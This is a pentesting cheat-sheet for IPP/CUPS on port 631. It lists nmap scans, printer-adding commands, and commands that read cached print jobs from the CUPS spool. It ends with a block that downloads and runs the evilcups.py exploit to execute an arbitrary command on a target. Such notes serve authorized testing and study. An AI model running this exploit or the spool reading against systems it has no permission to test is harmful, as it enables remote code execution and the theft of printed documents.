# IPP Pentesting (Port 631)

> The Internet Printing Protocol (IPP), as specified in RFC2910 and RFC2911, serves as a foundation for printing over the internet.

Source: https://pentest.h4rithd.com/udp/ipp-or-631/  
Section: UDP  
Ports: 631  
Updated: 2026-10-26  
Author: Harith Dilshan (h4rithd), https://h4rithd.com

```bash
## ------------------| Scan
nmap -n -Pn -vv -sUV -p 631,623 -oA NmapIpp.out <IP>

## ------------------| Add Printer
sudo systemctl start cups
## visit http://localhost:631
lpadmin -p <Destination> -E -v <DeviceURI>
lpadmin -p TheVoid -E -v file://dev/null

## ------------------| Print jobs cache 
ls /var/spool/cups/
## to read the files you have to do following
cat /var/spool/cups/d0000<JOBID>-00<PAGENO>
## ex: If you want job 3 and page number 2, the command would be like below.
## cat /var/spool/cups/d00003-002
cat /var/spool/cups/d00003-002 > /dev/shm/job.ps
ps2pdf /dev/shm/job.ps /dev/shm/job.pdf
```

* [Attacking UNIX Systems via CUPS](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/)

```bash
## ------------------| Expolit
pip3 install ippserver
wget https://raw.githubusercontent.com/IppSec/evil-cups/refs/heads/main/evilcups.py
python3 evilcups.py <LHOST> <IP> <COMMAND>
```